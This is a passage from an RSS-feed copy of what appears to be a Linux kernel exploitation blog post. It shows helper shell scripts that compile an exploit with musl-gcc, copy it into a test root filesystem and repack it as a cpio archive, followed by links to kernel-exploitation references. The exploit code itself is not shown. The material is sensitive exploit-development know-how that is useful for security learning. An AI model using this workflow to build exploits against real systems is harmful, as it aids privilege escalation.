  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

# Extract the base name without the .c extension
SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

# Compile the file
musl-gcc &amp;#34;$SOURCE_FILE&amp;#34; -masm=intel -o &amp;#34;$OUTPUT_FILE&amp;#34; -static -pthread

# Check if the compilation was successful
if [ $? -eq 0 ]; then
  echo &amp;#34;Compilation successful: $OUTPUT_FILE&amp;#34;
else
  echo &amp;#34;Compilation failed.&amp;#34;
  exit 1
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;375148962&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;375148962&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;copy_exploit.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;exploit_binary&amp;gt;&amp;#34;
  exit 1
fi

cp $1 ./root/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;645279138&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;645279138&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;pack_rootfs.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

cd root
find . -print0 | cpio -o --format=newc --null --owner=root &amp;gt; ../rootfs_updated.cpio&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391627854&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391627854&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;bash&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;build_compress_copy.sh&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-bash&#34; &gt;
      &lt;code&gt;#!/bin/sh

if [ $# -eq 0 ]; then
  echo &amp;#34;Usage: $0 &amp;lt;source_file.c&amp;gt;&amp;#34;
  exit 1
fi

SOURCE_FILE=$1
OUTPUT_FILE=$(dirname &amp;#34;$SOURCE_FILE&amp;#34;)/$(basename &amp;#34;$SOURCE_FILE&amp;#34; .c)

./build_exploit.sh $SOURCE_FILE
./copy_exploit.sh $OUTPUT_FILE
./pack_rootfs.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/&#34;&gt;https://pawnyable.cafe/linux-kernel/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&#34;&gt;https://u1f383.github.io/cheatsheet/1970/01/01/welcome-to-jekyll.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&#34;&gt;https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
